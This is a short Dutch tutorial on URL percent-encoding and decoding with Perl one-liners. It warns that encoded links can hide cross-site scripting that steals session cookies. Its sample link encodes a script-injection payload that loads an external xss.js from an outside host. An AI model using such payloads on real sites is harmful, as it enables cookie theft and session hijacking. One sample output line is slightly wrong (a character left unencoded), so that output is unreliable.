URL coderen en decoderen met perl

URL coderen en decoderen met perl

Regelmatig zie je URL’s met in plaats van het ASCII karakter een gecodeerde versie hiervan. De meest voorkomende is waarschijnlijk %20 oftewel spatie, maar ook %2F (forward slash: /) zie je regelmatig in URL’s.
De reden hiervoor is dat deze karakter vaak een speciale betekenins hebben voor de computer waarop je browser draait en door ze te vervangen door de gecodeerde weergaven kan de browser ze doorgeven naar de website en komt de goede informatie terug.

Het wordt wat vervelender als je een URL (bijvoorbeeld via de e-mail) toegestuurd krijgt die alleen maar is opgebouwd uit dit soort tekens. De website aan het begin van de URL mag dan wel vertrouwd lijken, maar het zou kunnen dat je door middel van een Cross Site Scripting aanval ineens het cookie weggeeft aan een aanvaller (de verzender van de URL) die daardoor b.v. je sessie waarmee je bent ingelogd op je webmail kan overnemen.

Zo’n URL kan er bijvoorbeeld zo uitzien:

http://www.blabla.com/search.pl?q=%22%3E%3C%73%63%72%69%70%74%2B%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%6F%69%65%70%6F%69%65%2E%6E%6C%2F%78%73%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

Met perl kan je dit makkelijk weer leesbaar maken, dit gaat als volgt:

echo \
"http://www.blabla.com/search.pl?q=%67%65%76%61%61%72%6C%69%6A%6B%65%20%58%53%53%20%61%61%6E%76%61%6C%20%6D%65%74%20%6A%61%76%61%73%63%72%69%70%74"\
| perl  -pe 's/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;'
output: http://www.blabla.com/search.pl?q=gevaarlijke XSS aanval met javascript

Als je zelf wilt experimenteren met dit soort URL’s dan kan je ze bouwen op de volgende manier:

echo "de groeten van Ewald" \
| perl -pe 'chomp ; s/(.)/sprintf("%%%02X", ord($1))/seg;'
output: %64%65%20%67%72%6F%65%74%65%6E%20%76%61%6E%20E%77%61%6C%64